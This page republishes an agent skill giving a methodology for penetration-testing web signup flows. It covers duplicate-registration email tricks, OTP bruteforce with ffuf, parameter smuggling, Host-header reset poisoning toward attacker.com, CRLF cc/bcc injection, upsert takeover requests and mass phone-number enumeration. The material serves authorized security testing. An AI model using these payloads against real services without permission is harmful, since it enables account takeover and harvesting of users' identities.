# Registration Vulnerability Testing

> Test registration flows, account takeover vectors, and authentication weaknesses. Use this skill whenever the user mentions registration testing, account takeover, password reset vulnerabilities, OTP bypass, email verification flaws, user enumeration, or any authentication/authorization testing on signup flows. This includes testing duplicate registrations, email canonicalization tricks, password reset token leaks, pre-hijacking attacks, and registration-as-reset vulnerabilities.

- Skill: `abelrguezr/registration-vulnerability-testing` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/registration-vulnerability-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/registration-vulnerability-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Productivity
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/registration-vulnerability-testing

---


# Registration & Account Takeover Vulnerability Testing

A comprehensive methodology for testing registration flows and account takeover vectors in web applications.

## Quick Start

1. **Identify registration endpoints** - Find signup, password reset, email change, and verification endpoints
2. **Test duplicate registration** - Try creating accounts with existing credentials using email tricks
3. **Check verification weaknesses** - Test OTP, magic links, and email verification flows
4. **Attempt account takeover** - Test password reset, IDOR, and pre-hijacking techniques
5. **Validate session handling** - Ensure old sessions are invalidated after password/email changes

## Registration Takeover Testing

### Duplicate Registration Attacks

Test if you can create duplicate accounts or bypass uniqueness checks:

**Email manipulation techniques:**
- Uppercase variations: `Victim@Example.com`
- Subaddressing: `victim+1@gmail.com`, `victim+test@gmail.com`
- Dot insertion (Gmail): `v.i.c.t.i.m@gmail.com`
- Special characters: `%00`, `%09`, `%20` in email name
- Trailing spaces: `test@test.com a`
- Double @ tricks: `victim@gmail.com@attacker.com`
- Unicode confusables and homoglyphs
- Soft hyphen: `\u00AD` within local-part

**Test cases to run:**
```
1. Register with victim's email using variations above
2. Check if duplicate account is created
3. Verify if you receive verification emails
4. Test if you can block victim signups (DoS)
5. Check for workspace/invite bypass
```

### Username Enumeration

Determine if usernames are enumerable:

**Indicators to check:**
- Different error messages for existing vs. new users
- HTTP status code differences (200 vs 400/404)
- Timing differences (existing user triggers DB lookup)
- Registration form autofill revealing profile data
- Team/invite flows revealing account existence

**Testing approach:**
```
1. Submit registration with known email - note response
2. Submit with unknown email - compare response
3. Measure response times for both
4. Check for timing-based enumeration
```

### Password Policy Testing

Check password requirements and weaknesses:

**Tests to perform:**
- Try weak passwords (123456, password, etc.)
- Test minimum/maximum length requirements
- Check character class requirements
- Attempt bruteforce if weak policy detected
- Test for password complexity bypass

## Verification Weakness Testing

### OTP/Magic Link Vulnerabilities

**Common flaws to test:**

1. **Guessable OTP**
   - Short codes (4-6 digits)
   - No rate limiting or weak rate limiting
   - No IP/device tracking
   - Test parallel guessing with header/IP rotation

2. **OTP Reuse**
   - Same code works for login and signup
   - Code works after email change
   - Code not bound to specific user/action

3. **Multi-value Smuggling**
   ```
   code=000000&code=123456
   {"code":["000000","123456"]}
   otp=000000&one_time_code=123456
   code=000000,123456
   code=000000|123456
   ```

4. **Response Oracle**
   - Distinguish wrong vs. expired vs. wrong-user codes
   - Check status codes, messages, body lengths

5. **Token Invalidation**
   - Tokens not invalidated after success
   - Tokens work after password/email change
   - Tokens not tied to user agent/IP

**Bruteforce testing with ffuf:**
```bash
ffuf -w <wordlist> -u https://target.tld/api/verify -X POST \
  -H 'Content-Type: application/json' \
  -d '{"email":"victim@example.com","code":"FUZZ"}' \
  -fr 'Invalid|Too many attempts' -mc all
```

**Race condition testing:**
- Submit same valid OTP simultaneously in two sessions
- One session may become verified attacker account
- Victim flow may also succeed

### Email Verification Testing

**Tests to perform:**
- Host header poisoning on verification links
- Cross-origin completion from attacker pages
- Token leakage via referrer header
- Unverified email acceptance

## Password Reset Takeover

### Token Leak via Referrer

1. Request password reset to your email
2. Click the reset link
3. Don't change password
4. Click any third-party website
5. Intercept request in Burp Suite
6. Check if Referer header leaks reset token

### Password Reset Poisoning

**Host header manipulation:**
```bash
http POST https://example.com/reset.php \
  HTTP/1.1 \
  Accept: '*/*' \
  Content-Type: 'application/json' \
  Host: 'attacker.com' \
  X-Forwarded-Host: 'attacker.com'
```

Look for reset URLs based on host header like:
`https://attacker.com/reset-password.php?token=TOKEN`

### Email Parameter Manipulation

**Parameter pollution:**
```
email=victim@mail.com&email=hacker@mail.com
{"email":["victim@mail.com","hacker@mail.com"]}
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```

### IDOR on Password Reset

1. Login with your account
2. Go to change password feature
3. Intercept request in Burp Suite
4. Edit user ID/email parameter to victim's
5. Attempt password change

### Weak Reset Token Testing

**Check for predictable tokens:**
- Timestamp-based generation
- UserID or email in token
- Personal info (name, DOB) in token
- Weak cryptography
- Number-only tokens
- Small character set
- Token reuse across requests
- No expiration or long expiration

### Username Collision Attack

1. Register with username identical to victim's but with whitespace: `"admin "`
2. Request password reset with malicious username
3. Use token sent to your email
4. Reset victim's password
5. Login to victim account

## Pre-Hijacking Techniques

Test attacks that occur before victim signs up:

### Classic-Federated Merge

1. Attacker registers classic account with victim email + password
2. Victim later signs up with SSO (same email)
3. Insecure merge may leave both parties logged in
4. Attacker may regain access

### Unexpired Session Identifier

1. Attacker creates account, holds long-lived session
2. Victim recovers/sets password, uses account
3. Test if old sessions stay valid after reset/MFA

### Trojan Identifier

1. Attacker adds secondary identifier to pre-created account
2. Victim resets password
3. Attacker uses trojan identifier to reset/login later

### Unexpired Email Change

1. Attacker initiates email change to attacker mail
2. Withholds confirmation
3. Victim recovers account, starts using it
4. Attacker completes pending email change to steal account

### Non-Verifying IdP

1. Attacker uses IdP that doesn't verify email ownership
2. Asserts victim email via SSO
3. Service merges without checking email_verified

## Registration-as-Reset (Upsert)

Some signup handlers perform upsert on existing email:

**Discovery:**
- Harvest endpoint names from bundled JS/mobile traffic
- Fuzz base paths: `/parents/application/v4/admin/FUZZ`
- GET returning "Only POST request is allowed" indicates correct verb

**Minimal body example:**
```json
{"email":"victim@example.com","password":"New@12345"}
```

**Example request:**
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}
```

**Impact:** Full Account Takeover without reset token, OTP, or email verification.

## Additional Testing

### Disposable Email Bypass

- Test with mailinator, yopmail, 1secmail
- Bypass blocklist with subaddressing: `victim+mailinator@gmail.com`

### DoS Testing

- Long passwords (>200 characters)
- Check rate limits on account creation
- Test for resource exhaustion

### Callback Analysis

- Use `username@burp_collab.net`
- Analyze callback behavior
- Check for information disclosure

### Phone Number Testing

- Test phone parsing/injection edge cases
- Check for SMS bombing
- Verify phone number validation

### Captcha Bypass

- Test captcha solving
- Check for bypass techniques
- Verify rate limiting effectiveness

## Contact Discovery Oracles

**Phone-number-centric messengers expose presence oracles:**

1. **Instrument official client** to capture address-book upload
2. **Batch numbers per request** - thousands of identifiers
3. **Horizontally scale** with SIM banks, cloud devices, proxies

**Dialing-plan modeling:**
- Model each country's dialing plan
- Skip invalid candidates
- Prioritize high-hit ranges

**Turning enumerations into attacks:**
- Feed leaked phone numbers into oracle
- Slice censuses by country/OS/app type
- Find regions with weak SMS filtering

## Session Validation Checklist

After any password reset or email change, verify:
- All other sessions and tokens are invalidated
- Pending email/phone change capabilities are cancelled
- Previously linked IdPs/emails/phones are re-verified
- MFA settings are properly handled

## Tools Reference

- **Burp Suite** - Request interception and modification
- **ffuf** - Directory and parameter fuzzing
- **Turbo Intruder** - Parallel/concurrent request flooding
- **Smuggler** - HTTP request smuggling detection
- **Burp Collaborator** - Out-of-band interaction testing

## Reporting

When documenting findings:
1. Include exact request/response pairs
2. Show proof of concept with screenshots
3. Explain impact clearly (ATO, enumeration, DoS)
4. Provide remediation recommendations
5. Reference CVEs if applicable

## Safety Notes

- Only test systems you have authorization to test
- Document all testing activities
- Avoid causing service disruption
- Handle discovered credentials responsibly
- Follow responsible disclosure practices